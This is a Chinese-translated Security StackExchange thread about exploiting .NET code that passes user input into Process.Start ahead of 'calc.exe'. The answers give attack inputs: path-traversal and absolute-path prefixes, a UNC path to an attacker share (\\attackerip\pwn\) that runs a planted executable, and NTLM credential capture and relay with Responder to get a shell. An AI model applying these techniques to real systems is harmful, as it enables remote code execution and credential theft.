如何利用具有以下行的程序:
Process.Start(user_input + "calc.exe")这是一个.NET函数,到目前为止还没有起作用("mal.exe &&","mal.exe;",.)有什么想法吗?
发布于 2021-03-16 21:36:24
就POSIX函数而言,https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-5.0 Process.Start更类似于execvp,而不是system-Process.Start并不会启动shell (您的&&技巧会在其中运行得很好),而是直接调用给定的文件名。
但是,在文件名前加上前缀可以将其重写到任意位置,因为您可以执行以下操作:
../../../evilcalc.exe (user_input是../../../evil (从当前工作目录提升祖先目录)C:\somewhere\evilcalc.exe (user_input is C:\somewhere\evil) (Windows绝对文件路径)/somewhere/evilcalc.exe (user_input is /somewhere/evil) (Unix绝对文件路径)我不认为您可以运行一些不以calc.exe结尾的东西--您的mal.exe需要命名为其他的东西(尽管我确实怀疑它是如何实现的,但却不能选择它的名称--它是内置的OS服务还是已经安装的应用程序?)
发布于 2021-03-16 22:18:18
根据@iridia的回答,您需要控制字符串的前缀。远程利用此漏洞的最简单方法是使用UNC (或潜在的webdav),将名为calc.exe的恶意文件放置在共享上,并将路径作为用户输入提供:\\attackerip\pwn\,它将执行\\attackerip\pwn\calc.exe。
如果您没有可用的恶意可执行文件,您也可以使用此技巧来使用响应器- https://github.com/lgandx/Responder之类的方法对NTLM凭据进行snarf认证,或者使用多中继将它们重放到另一台服务器上以获取shell。
https://security.stackexchange.com/questions/245367
复制相似问题